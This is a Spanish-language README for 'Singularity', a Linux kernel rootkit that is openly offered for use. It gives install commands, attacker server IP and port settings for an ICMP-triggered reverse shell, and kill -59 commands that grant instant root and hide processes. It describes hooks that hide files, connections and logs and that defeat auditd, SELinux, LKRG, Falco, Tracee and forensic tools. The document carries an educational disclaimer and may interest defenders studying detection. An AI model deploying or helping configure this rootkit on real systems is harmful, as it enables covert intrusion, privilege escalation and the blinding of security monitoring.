Singularity - Rootkit Stealth de Kernel Linux

"¿Le damos un poco de trabajo a la forense?"

Este proyecto fue inspirado por una mujer muy especial para mí: Mocinha

Singularity es un potente rootkit de módulo de kernel de Linux (LKM) diseñado para kernels modernos 6.x. Proporciona capacidades integrales de sigilo mediante el enganche avanzado de llamadas al sistema a través de la infraestructura ftrace.

Artículo de investigación completo (versión desactualizada): Singularity: A Final Boss Linux Kernel Rootkit

Caso de estudio de evasión de EDR: Bypassing Elastic EDR with Singularity

Video POC: Singularity vs herramientas de seguridad eBPF: Singularity vs eBPF security tools

Rompiendo la seguridad de eBPF con los hooks de Singularity: Breaking eBPF

¿Qué es Singularity?

Singularity es un rootkit sofisticado que opera a nivel de kernel, proporcionando:

• Ocultamiento de procesos: Hace que cualquier proceso sea completamente invisible para el sistema
• Ocultamiento de archivos y directorios: Oculta archivos mediante coincidencia de patrones
• Sigilo de red: Oculta conexiones TCP/UDP, puertos y entradas conntrack
• Escalada de privilegios: Acceso root instantáneo basado en señales
• Saneamiento de registros: Filtra registros del kernel y diarios del sistema en tiempo real
• Autoocultamiento: Se elimina a sí mismo de las listas de módulos y monitoreo del sistema
• Acceso remoto: Shell inversa activada por ICMP con ocultamiento automático
• Antidetección: Evade herramientas de seguridad en tiempo de ejecución basadas en eBPF (Falco, Tracee), elude Linux Kernel Runtime Guard (LKRG) y previene intentos de bypass mediante io_uring
• Evasión de auditoría: Descarta mensajes de auditoría para procesos ocultos a nivel de netlink con seguimiento de estadísticas y filtrado de inodos de socket
• Evasión de análisis forense de memoria: Filtra /proc/kcore, /proc/kallsyms, /proc/vmallocinfo
• Filtrado de cgroups: Filtra PIDs ocultos de cgroup.procs
• Evasión de syslog: Engancha do_syslog para filtrar el acceso al buffer del anillo del kernel (klogctl())
• Evasión de debugfs: Filtra la salida de herramientas como debugfs que leen dispositivos de bloque en bruto
• Filtrado de conntrack: Oculta conexiones de /proc/net/nf_conntrack y consultas netlink SOCK_DIAG/NETFILTER
• Evasión de SELinux: Bypass automático del modo enforcing de SELinux al activarse por ICMP
• Bypass de LKRG: Elude los mecanismos de detección de Linux Kernel Runtime Guard
• Bypass de seguridad eBPF: Oculta procesos de herramientas de seguridad en tiempo de ejecución basadas en eBPF (Falco, Tracee)

Características

• Elevación de privilegios basada en señales (kill -59)
• Ocultamiento completo de procesos de /proc y herramientas de monitoreo
• Ocultamiento basado en patrones del sistema de archivos para archivos y directorios
• Ocultamiento de conexiones de red de netstat, ss, conntrack y analizadores de paquetes
• Filtrado avanzado de netlink (mensajes SOCK_DIAG, NETFILTER/conntrack)
• Filtrado en tiempo real de registros del kernel para dmesg, journalctl y klogctl
• Autoocultamiento del módulo de lsmod y /sys/module
• Normalización automática de la bandera de taint del kernel
• Filtrado de datos BPF para evitar detección basada en eBPF
• Protección de io_uring contra bypass de E/S asíncrona
• Enmascaramiento de registros para mensajes del kernel y registros del sistema
• Evasión de detectores de rootkits estándar (unhide, chkrootkit, rkhunter)
• Seguimiento y ocultamiento automático de procesos hijos mediante hooks de tracepoint
• Soporte multiarquitectura (x64 + ia32)
• Filtrado a nivel de paquetes de red con protección de sockets raw
• Protección contra todas las variantes de E/S de archivos (read, write, splice, sendfile, tee, copy_file_range)
• Filtrado de mensajes de auditoría a nivel de netlink con seguimiento de estadísticas para evadir detección de auditd
• Seguimiento de inodos de socket para ocultamiento integral de red
• Filtrado de PIDs de cgroup para evitar detección mediante /sys/fs/cgroup/*/cgroup.procs
• Bloqueo de netlink TaskStats para evitar enumeración de PIDs
• Filtrado de /proc/kcore para evadir herramientas de análisis forense de memoria (Volatility, crash, gdb)
• Hook de do_syslog para filtrar klogctl() y prevenir fugas del buffer del anillo del kernel
• Filtrado de salida de dispositivos de bloque para evadir debugfs y herramientas similares de análisis forense de disco
• Filtrado de salida de journalctl -k mediante hook de escritura
• Capacidad de bypass del modo enforcing de SELinux para shells activadas por ICMP
• Bypass de comprobaciones de integridad de LKRG para procesos ocultos
• Ocultamiento de eventos de Falco mediante interceptación de BPF ringbuffer y perf event

Instalación

Requisitos previos

• Kernel Linux 6.x
• Headers del kernel para tu kernel en ejecución
• GCC y Make
• Acceso root

Instalación rápida```bash

cd /dev/shm git clone https://github.com/MatheuZSecurity/Singularity cd Singularity sudo bash setup.sh cd ..

Eso es todo. El módulo automáticamente:
- Se oculta de lsmod, /proc/modules, /sys/module
- Limpia las banderas de taint del kernel
- Filtra cadenas sensibles de dmesg, journalctl -k, klogctl
- Comienza a proteger tus archivos y procesos ocultos

### Notas importantes

**El módulo se oculta automáticamente después de cargarse**

**No hay funcionalidad de descarga: se requiere reinicio para eliminar**

**Prueba primero en una máquina virtual: no se puede eliminar sin reiniciar**

## Configuración

### Establece tu IP y puerto del servidor

**Edita `include/core.h`:**```c
#define YOUR_SRV_IP "192.168.1.100"  // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } }  // IPv6 if needed

Editar modules/icmp.c:```c #define SRV_PORT "8081" // Change this to your desired port

**Editar `modules/bpf_hook.c`:**```c
#define HIDDEN_PORT 8081  // Must match SRV_PORT

Editar modules/hiding_tcp.c:```c #define PORT 8081 // Must match SRV_PORT

**Importante**: Todas las definiciones de puertos deben coincidir para el ocultamiento adecuado de red y la funcionalidad de ICMP reverse shell.

## Uso

### Ocultar procesos```bash
# Hide current shell
kill -59 $$

# Hide specific process
kill -59 <PID>

El proceso será invisible para ps, top, htop, /proc y todas las herramientas de monitoreo. Todos los procesos hijos son automáticamente rastreados y ocultados.

Ocultar Archivos y Directorios

Los archivos que coinciden con tus patrones configurados se ocultan automáticamente:```bash mkdir singularity echo "secret" > singularity/data.txt

Invisible to ls, find, locate

ls -la | grep singularity

(no output)

But you can still access it

cat singularity/data.txt

secret

cd is blocked for security

cd singularity

bash: cd: singularity: No such file or directory

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/13713f834a730a67b38b024c092d77eb111a7d38e2fa0ac16a8f36ffd3506f90.png">
</p>

### Convertirse en root

**Método basado en señales:**```bash
kill -59 $$
id  # uid=0(root)

Ocultar conexiones de red

Las conexiones en tu puerto configurado (por defecto: 8081) se ocultan automáticamente:```bash nc -lvnp 8081

Invisible to all monitoring

ss -tulpn | grep 8081 # (no output) netstat -tulpn | grep 8081 # (no output) lsof -i :8081 # (no output) cat /proc/net/nf_conntrack | grep 8081 # (no output)

Even advanced netlink queries are filtered

ss -tapen | grep 8081 # (no output) conntrack -L | grep 8081 # (no output)

Los paquetes se descartan a nivel de socket raw (tpacket_rcv) y se ocultan de:
- /proc/net/* interfaces (tcp, tcp6, udp, udp6)
- /proc/net/nf_conntrack
- Netlink SOCK_DIAG queries (used by ss, lsof)
- Netlink NETFILTER/conntrack messages (used by conntrack tool)

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/a77a916efc8ee8b9091b3a0ef3acfde44eff570bc022477a3906fac1f623993f.png">
</p>

### ICMP Reverse Shell

Activa una reverse shell oculta de forma remota con bypass automático de SELinux:

**1. Inicia el listener:**

Mecanismos de Protección

Protección de Control de Ftrace

Todos los intentos de deshabilitar ftrace son interceptados y bloqueados silenciosamente:```bash echo 0 > /proc/sys/kernel/ftrace_enabled # Appears successful but does nothing

Syscalls protegidos: write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter (con almacenamiento en caché inteligente por PID)

### Filtrado de Syscalls BPF

El módulo bpf_hook.c implementa un sofisticado sistema de antidetección contra herramientas de seguridad basadas en eBPF. En lugar de bloquear por completo las syscalls BPF (lo que sería una huella de detección), filtra selectivamente los datos a nivel de kernel para que los procesos y conexiones ocultos sean invisibles para los programas eBPF.

**Estrategia**: Interceptar las funciones de recopilación y reporte de datos utilizadas por los programas eBPF, no la syscall BPF en sí. Esto permite que las herramientas eBPF legítimas funcionen normalmente mientras impide que vean los recursos ocultos.

**Recursos protegidos**:
- Procesos ocultos y todo su árbol de procesos (hasta 10 niveles de padres)
- Conexiones de red en el puerto configurado (por defecto: 8081) o a la dirección IP configurada
- Inodos de socket asociados con procesos ocultos

**Puntos de intercepción**:
- Ejecución de iterador (enumeración de procesos/sockets)
- Operaciones de ringbuffer (envío de eventos al espacio de usuario)
- Operaciones de mapa BPF (búsquedas e inserciones de PID)
- Salida de eventos Perf (entrega de eventos eBPF heredados)
- Escrituras de archivos Seq (formato de salida)
- Ejecución de programas (filtrado basado en contexto)

Este enfoque derrota a las herramientas de seguridad eBPF sin desencadenar alertas que provendrían de bloquear las operaciones BPF por completo.

### Protección io_uring

Protección contra la elusión de io_uring en intentos de ftrace_enabled y tracing_on con almacenamiento en caché inteligente (caché de 1 segundo por PID para evitar el escaneo repetido de procesos y reducir la sobrecarga)

### Saneamiento de Registros

Filtrado en tiempo real de cadenas sensibles de todas las interfaces de registro del kernel:

| Interfaz | Hook | Estado |
|-----------|------|--------|
| `dmesg` | hook de lectura en /proc/kmsg | Filtrado |
| `journalctl -k` | hook de escritura (filtrado de salida) | Filtrado |
| `klogctl()` / `syslog()` | hook do_syslog | Filtrado |
| `/sys/kernel/debug/tracing/*` | hook de lectura | Filtrado |
| `/var/log/kern.log`, `syslog`, `auth.log` | hook de lectura | Filtrado |
| `/proc/kallsyms`, `/proc/kcore`, `/proc/vmallocinfo` | hook de lectura | Filtrado |
| `/proc/net/nf_conntrack` | hook de lectura | Filtrado |

Palabras clave filtradas: taint, journal, singularity, Singularity, matheuz, zer0t, kallsyms_lookup_name, obliviate, hook, hooked_, constprop, clear_taint, ftrace_helper, fh_install, fh_remove

**Nota**: Los mensajes de auditoría para PIDs ocultos se descartan a nivel netlink con seguimiento de estadísticas (get_blocked_audit_count, get_total_audit_count)

### Evasión de Forense de Disco

Singularity engancha la syscall write para detectar y filtrar la salida de herramientas de forense de disco:

**Cómo funciona:**
1. Detecta si el proceso tiene abierto un dispositivo de bloque (`/dev/sda`, `/dev/nvme0n1`, etc)
2. Detecta patrones de salida estilo debugfs (listados de inodos, metadatos del sistema de archivos)
3. Sanea los patrones ocultos en el lugar (reemplaza con espacios para mantener el tamaño del búfer/checksums)```bash
# Hidden files are invisible even to raw disk analysis
debugfs /dev/sda3 -R 'ls -l /home/user/singularity'
#            (spaces where "singularity" was)

# The pattern is sanitized in the output buffer
# Checksums remain valid, no corruption

Patrones detectados:

• Prefijo debugfs:
• Listados de inodos con paréntesis
• Inode count:, Block count:, Filesystem volume name:
• Filesystem UUID:, e2fsck, Inode:

Implementación de Ocultación de Procesos

Ocultación completa de llamadas al sistema e interfaces del kernel:

• /proc/[pid]/* (openat, readlinkat bloqueados)
• getdents, getdents64 (listado de directorios filtrado)
• stat, lstat, statx, newfstatat (metadatos ocultos)
• kill con señal 0 (devuelve ESRCH)
• getsid, getpgid, getpgrp (devuelve ESRCH)
• sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval (devuelve ESRCH)
• getpriority (devuelve ESRCH)
• sysinfo (conteo de procesos ajustado)
• pidfd_open (devuelve ESRCH)
• Consultas netlink de TaskStats (devuelve ESRCH)
• PIDs de Cgroup filtrados de cgroup.procs

Los procesos hijos se rastrean automáticamente mediante el hook del tracepoint sched_process_fork.

Bypass de LKRG

Singularity implementa una evasión integral contra Linux Kernel Runtime Guard:

Verificaciones omitidas:

• Validación de credenciales de proceso (p_cmp_creds)
• Integridad de la estructura de tareas (p_cmp_tasks)
• Validación de integridad del flujo de control (p_ed_pcfi_validate_sp, p_ed_enforce_pcfi)
• Verificaciones de integridad del kernel (p_check_integrity)
• Subsistema de detección de exploits (p_exploit_detection_init)
• Seguimiento de asistentes en modo usuario (p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry)
• Volcado y enumeración de tareas (p_dump_task_f, ed_task_add)
• Interceptación del manejador kprobe ftrace

Características:

• Detección automática de LKRG e instalación de hooks
• Verificación de linaje de procesos (oculta árboles de procesos completos de hasta 64 niveles de profundidad)
• Bypass de UMH para operaciones de reverse shell
• Sistema de notificación de módulos para detectar la carga de LKRG

Los procesos ocultos son invisibles para todos los mecanismos de verificación de integridad de LKRG.

Bypass de Falco

Singularity implementa un sistema integral de defensa anti-EDR que impide que las herramientas de seguridad basadas en eBPF detecten procesos ocultos y conexiones de red. La protección funciona interceptando funciones del kernel que los programas eBPF utilizan para recopilar y reportar datos.

Protegido contra:

• Falco (seguridad en tiempo de ejecución basada en eventos)
• Tracee (rastreo de seguridad)
• bpftool y ss con backend BPF

Interceptación multicapa:

1. Filtrado de iteradores (bpf_iter_run_prog)

   • Filtra sockets en puerto oculto de los iteradores TCP/UDP
   • Oculta procesos y sus hijos de los iteradores de tareas
   • Previene la detección mediante ss y herramientas de enumeración de procesos

2. Bloqueo de eventos del ringbuffer (bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit)

   • Detecta estructuras de eventos de Falco analizando el formato del encabezado
   • Bloquea la asignación, envío y salida de eventos para PIDs ocultos
   • Evita que los eventos de llamadas al sistema lleguen al agente en espacio de usuario de Falco

3. Manipulación de mapas BPF (bpf_map_lookup_elem, bpf_map_update_elem)

   • Devuelve NULL cuando eBPF busca PIDs ocultos en mapas
   • Descarta silenciosamente inserciones en mapas donde la clave es un PID oculto
   • Evita que las herramientas de seguridad eBPF rastreen procesos ocultos

4. Supresión de eventos perf (perf_event_output, perf_trace_run_bpf_submit)

   • Bloquea el envío de eventos perf desde procesos ocultos
   • Evita que las herramientas eBPF heredadas reciban datos de rastreo

5. Filtrado de archivos seq (bpf_seq_write, bpf_seq_printf)

   • Escanea los datos de salida en busca de PIDs ocultos antes de escribir
   • Previene la filtración a través de interfaces /proc utilizadas por iteradores eBPF

6. Control de ejecución de programas (__bpf_prog_run)

   • Bloquea la ejecución de programas eBPF cuando se ejecuta en el contexto de un proceso oculto
   • Evita cualquier monitoreo basado en eBPF de los internos de procesos ocultos

Ocultación de sockets y conexiones:

• Almacena en caché la dirección IP oculta para mejorar el rendimiento
• Filtra sockets según el puerto y la IP configurados
• Oculta tanto conexiones IPv4 como IPv6
• Funciona a nivel de iterador (antes de que los datos lleguen a los programas eBPF)

Seguimiento de linaje de procesos:

• Rastrea la cadena de procesos padres hasta 10 niveles de profundidad
• Oculta automáticamente todos los descendientes de procesos ocultos
• Asegura que los procesos hijos generados después de la ocultación permanezcan invisibles

Los procesos y conexiones ocultos generan cero eventos visibles para las herramientas de seguridad eBPF.

Herramientas de Seguridad Omitidas

Monitoreo de Procesos: ps, top, htop, atop, pidof

Sistema de Archivos: ls, find, locate, stat, lstat, readlink, tree

Forense de Disco: debugfs, e2fsck (salida filtrada mediante hook de escritura)

Forense de Memoria: Volatility, crash, gdb (a través del filtrado de /proc/kcore)

Red: netstat, ss, lsof, tcpdump, wireshark, conntrack, nload, iftop, /proc/net/*

Registros y Trazas: dmesg, journalctl, klogctl, strace, ltrace, ftrace, perf

Detectores de Rootkits: unhide, chkrootkit, rkhunter, OSSEC

Detección de Módulos: lsmod, modinfo, /sys/module, /proc/modules, kmod

Seguridad del Kernel: LKRG (Linux Kernel Runtime Guard)

Herramientas de Seguridad eBPF:

• Falco (monitoreo de seguridad en tiempo de ejecución)
• Tracee (rastreo de seguridad)
• bpftrace, bpftool (cuando se usan para monitoreo)

EDR/Monitoreo: monitores basados en io_uring, algunas soluciones EDR de Linux, auditd

Hooks de Llamadas al Sistema

Soporte Multi-Arquitectura: x86_64 (__x64_sys_*) e ia32 (__ia32_sys_*, __ia32_compat_sys_*)

Versiones de Kernel Probadas

La Trama

Desafortunadamente para algunos...

Incluso con todos estos filtros, protecciones y hooks, todavía hay formas de detectar este rootkit.

Pero si eres un buen analista forense, profesional de DFIR o investigador de malware, te dejaré que lo descubras por tu cuenta.

No parchearé esto, porque será mucho más OP ;)

Créditos

Singularity fue creado por MatheuZSecurity (Matheus Alves)

• LinkedIn: mathsalves
• Discord: kprobe

Únete a Investigadores de Rootkits: Discord - https://discord.gg/66N5ZQppU7

Referencias de Código

• fuxSocy
• Adrishya
• MatheuZSecurity/Rootkit

Inspiración para la Investigación

• KoviD
• Basilisk
• GOAT Diamorphine rootkit

Contribuciones

• Envía pull requests para mejoras
• Reporta errores a través de issues de GitHub
• Sugiere nuevas técnicas de evasión
• Comparte métodos de detección (para investigación)

¿Encontraste un error? Abre un issue o contáctame en Discord: kprobe

SOLO CON FINES EDUCATIVOS Y DE INVESTIGACIÓN

Singularity fue creado como un proyecto de investigación para explorar los límites de las técnicas de sigilo a nivel de kernel. El objetivo es responder una pregunta: "¿Qué tan lejos puede ocultarse un rootkit si logra infiltrarse y cargarse en un sistema?"

Este proyecto existe para:

• Ampliar los límites de la investigación ofensiva de seguridad
• Ayudar a los defensores a comprender a qué se enfrentan
• Proporcionar un recurso de aprendizaje sobre los internos del kernel y las técnicas de evasión
• Contribuir a la base de conocimientos de la comunidad de seguridad

No soy responsable del mal uso de este software. Si decides usar Singularity con fines maliciosos, es tu responsabilidad. Esta herramienta se proporciona tal cual para investigación, educación y pruebas de seguridad autorizadas únicamente.

Prueba solo en sistemas que posees o para los que tienes permiso explícito por escrito. El acceso no autorizado a sistemas informáticos es ilegal en la mayoría de las jurisdicciones.

Sé un investigador, no un criminal.